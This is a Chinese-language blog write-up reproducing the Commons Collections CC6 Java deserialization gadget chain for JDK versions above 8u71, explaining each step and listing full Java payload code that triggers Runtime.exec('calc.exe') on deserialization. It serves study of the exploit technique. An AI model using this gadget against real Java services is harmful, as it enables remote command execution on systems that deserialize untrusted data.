关于打高版本java,cc6复现

从上一篇的cc1中我们发现他不能作用在jdk_8u71以上的版本,因此;为了解决这个问题,引入了cc6

之所以不能用cc1打高版本,是由于在Java 8u71以后, sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了;

所以这条链子走不了了,因此为了解决这一问题,就需要看看上下文其他地方的调用LazyMap的get的地方

老规矩先找可以触发transform方法的函数;

这里依然用的是LazyMap的get方法触发

在高版本中CC1中用到的AnnotationInvocationHandler类的Invoke无法再触发,我们找到了org.apache.commons.collections.keyvalue.TiedMapEntry类;

可以看到这里使用TiedMapEntry的getvalue调用了get;

只需要传进去的map等于我们的Lazymap类的实例化对象即可

接下来继续找哪里调用了getvalue();

可以看到有3个地方调用了getvalue,equals(),hashCode(),toString()

在URLDNS链子中我们知道在hashmap反序列化过程中,会触发readObject()方法进行重建键值对。这一过程会自动触发键对象的hashCode()计算

先说toString();这个很难找到在 readobject 中的隐式调用;

而equals()在hash冲突(当两个不同键的hashCode()结果相同时,HashMap会调用equals()验证键是否真正相等)或

集合操作时(如contains()remove()等方法的调用(但反序列化过程很少涉及这些操作))才会隐式触发

也就是说equals()触发场景(可能需要进行需要精确构造哈希碰撞的操作)利用难度较大;

而hashCode()我们知道在hashmap中hash函数进行调用

在readobject中调用了hash

可以看到其中hash对传进去的key进行处理;我们只需要让TiedMapEntry类的实例对象作为key传进去即可

因此gadget链就是

graph TD
A[HashMap.readObject] --> B[HashMap.hash]
B --> C[TiedMapEntry.hashCode]
C --> D[TiedMapEntry.getValue]
D --> E[LazyMap.get]
E --> F[ChainedTransformer.transform]
F --> G[InvokerTransformer执行命令]

以下是payload

public class CommonCollections6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)
};
Transformer[] Transformers = new Transformer[]{
// new ConstantTransformer(1), // 反射调用Runtime.getRuntime()
new ConstantTransformer(Runtime.class), // 反射调用Runtime.class
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"}), // 反射调用exec函数
new ConstantTransformer(1)
}; Transformer transformerchains = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerchains);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();//清空map Field field=ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(transformerchains,Transformers);
//序列化
byte[] exp=SerializationUtils.serialize((Serializable) expMap);
//反序列化
SerializationUtils.deserialize(exp); }

区分下这个clear();和上一篇的clear()的区别在于;这里的clear()是为了确保反序列化的正常执行,上一篇cc1的clear()是为了触发代理类的invoke,才进行显示调用测试;实际上调用不在"黑名单中的任意函数都可以",比如说我显示调用entrySet()

下面我解释下在cc6中为什么要清空map;

进行调试后发现,在LazyMap的get中;这里没有进入if判断而是直接跳过然后进入else进行返回;原因显而易见;是key已经存在值

keykey了;

从上下文可以知道这个keykey是在TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");赋值;

但其构造函数中并没有对outmap进行操作

了解过DNSURL这条链子,就会知道这其实是由于这个语句

expMap.put(tme, "valuevalue");

在put函数中也会调用hashcode

也就是说

expMap.put(tme, "valuevalue") 会隐式触发 TiedMapEntry.hashCode()LazyMap.get("keykey")。由于之前传入的是fakeTransformers,此时链子不会触发;而在此次之后, outerMap(即LazyMap)中会存入键 "keykey";导致后续的"真实链子"不会触发;

测试写入真实链子,可以看到在put(实际场景中是序列化时触发)时就触发了

因此;这时候就需要clear()清空outmap中的keykey;

最后

这条链子没有cc1,lazymap版本动态代理那部分的"难以理解",比较经典;用的也比较舒服的一条链子;

再次总结下流程

通过在LazyMap的get可以执行ChainedTransformer.transform,我们找到了TiedMapEntry.getValue去触发get,在TiedMapEntry代码中我们看到hashcode调用了getvalue,所以,我们很容易想到打URLDNS链用的hashmap中的hash触发;最后通过hashmap的readobjecct中的hash触发hashcode;

正向流程就是在反序列化过程中 Hashmap的readobject触发hash函数,由于hash参数是TiedMapEntry对象,因此调用了TiedMapEntry的hashcode函数,在hashcode中又调用了getvalue函数,在getvalue中调用了传进来的map参数的get函数,由于我们传进去的是LazyMap对象,导致调用了LazyMap对象的get函数,触发了get的transform函数,而这个transform可控,导致我们注入我们的恶意的反射调用链去执行任意命令;

再次贴下gadget

graph TD
A[HashMap.readObject] --> B[HashMap.hash]
B --> C[TiedMapEntry.hashCode]
C --> D[TiedMapEntry.getValue]
D --> E[LazyMap.get]
E --> F[ChainedTransformer.transform]
F --> G[InvokerTransformer执行命令]



参考文章:p牛的博客知识星球->代码审计->java系列文章

https://mp.weixin.qq.com/s/AjCngDFNE2wT9JvajMMxTA

关于打高版本java,cc6复现的更多相关文章

  1. java高版本下各种JNDI Bypass方法复现

    目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...

  2. 高版本 eclipse 如何安装 fatjar 插件以及使用 fatjar 将 Java 程序打成 Jar 包

    高版本 eclipse 如何安装 fatjar 插件以及使用 fatjar 将 Java 程序打成 Jar 包 Eclipse Version: Neon.3 Release (4.6.3) Welc ...

  3. 解决jmeter5.1高版本linux CPU,IO,Memory监控性能测试 java.lang.NoSuchMethodError: org.apache.jmeter.samplers.SampleSaveConfiguration.setFormatter(Ljava/t

    jmeter中也可以监控服务器的CPU和内存使用情况,但是需要安装一些插件还需要在被监测服务器上开启服务. 安装性能监控插件(jmeter-plugins)后报如下错误,是由于jmeter版本过高jm ...

  4. Java反序列化中jndi注入的高版本jdk绕过

    群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...

  5. Intellij IDEA新导入项目运行出现Error:(60, 47) java: -source 1.5 中不支持 diamond 运算符 (请使用 -source 7 或更高版本以启用 diamond 运算符)

    后台窗口报错如下: 问题原因 项目jdk版本配置不正确. 解决方案 ①File ->Project Structure ② ③之后还要检查一下这里 Settings-->Build,Exe ...

  6. 从高版本JDK换成低版本JDK报错Unsupported major.minor version 52.0

    ava.lang.UnsupportedClassVersionError: PR/Sort : Unsupported major.minor version 52.0这个错误是由于高版本的java ...

  7. selenium支付高版本的FireFox

    http://blog.csdn.net/pw_windgod/article/details/6537409 15:22:12.031 WARN - GET /selenium-server/dri ...

  8. 高版本myeclipse破解以及优化

    1.破解图 破解myeclipse但是在默认安装目录没有发现common文件夹,该怎么办? 打开myeclipse:  Myclipse-->Installation Summary...,   ...

  9. 转发:maven打包时始终出现以下提示:-source 1.3 中不支持泛型(请使用 -source 5 或更高版本以启用泛型)

    maven打包时始终出现以下提示: 1.-source 1.3 中不支持泛型(请使用 -source 5 或更高版本以启用泛型)List<User> userList= new Array ...

  10. 高密度Java应用部署的一些实践

    传统的Java应用部署模式,一般遵循“硬件->操作系统->JVM->Java应用”这种自底向上的部署结构,其中JEE应用可以细化为“硬件->操作系统->JVM->J ...

随机推荐

  1. New Bing 全面开放?我看未必

    前段时间大家应该都被ChatGPT刷屏了,其实就回答来说New Bing 才是最厉害的,因为它底层使用了ChatGPT 并且可以支持联网查询数据,回答中还能支持看到出处,方便确认其真实性. New B ...

  2. yolov5 train报错:TypeError: expected np.ndarray (got numpy.ndarray)

    前言 mac intel 机器上,使用 yolov5 物体检测训练时报错:TypeError: expected np.ndarray (got numpy.ndarray) 这个错误信息 TypeE ...

  3. minikube搭建Kubernetes环境

    前言 Kubernetes 一般都运行在大规模的计算集群上,管理很严格,Kubernetes 充分考虑到了这方面的需求,提供了一些快速搭建 Kubernetes 环境的工具. minikube 它是一 ...

  4. liunx服务器某个Java运行服务CPU占用率过高问题排查及修复

    进入服务器 用 top 命令查看 top top - 09:57:55 up 40 days, 22:05, 9 users, load average: 4.44, 4.03, 3.85 Tasks ...

  5. 【Win32】VC6 Visual C/C++ 6.0 修改程序图标

    零.需求 就想给自己的C程序加个图标,好看些 一.解决 1.操作步骤 1.新建一个资源脚本 2.在新建的脚本上右键,选择插入 3.选择Icon,点新建或者引入,如果你没有准备图标点新建,有的话直接点引 ...

  6. 关于TFDMemtable的使用场景【2】处理SOAP/REST取得的数据

    如果可以直接获得JSON数据,那么可以直接连到TFDMemtable进行显示和编辑. 1.一组REST组件.RESTClient的属性BaseURL是http地址. 2.点击TRESTRequest右 ...

  7. tomcat非root用户启动

    部署远程服务器时候, 基本都是用root账户登录, 习惯上会直接使用root启动tomcat. 这样其实是有风险的, 黑客获取的权限即容器的权限, 如果容器运行权限就很高,被攻破黑客即可获取很高的权限 ...

  8. .net WorkFlow 流程会签

    WikeFlow官网:www.wikesoft.com WikeFlow学习版演示地址:workflow.wikesoft.com WikeFlow学习版源代码下载:https://gitee.com ...

  9. Tryhackme部分翻译学习

    Tryhackme部分翻译学习 1.Weaponization WSH 上传txt到桌面 Set shell = WScript.CreateObject("Wscript.Shell&qu ...

  10. VTK 入门系列之二:为三维场景添加坐标轴

    一.引言 在进行三维可视化开发时,我们常常希望能够清晰了解模型在空间中的位置.方向与比例关系.而最直观的辅助工具就是三维坐标轴(Axes).在 VTK 中,vtkAxesActor 提供了一种开箱即用 ...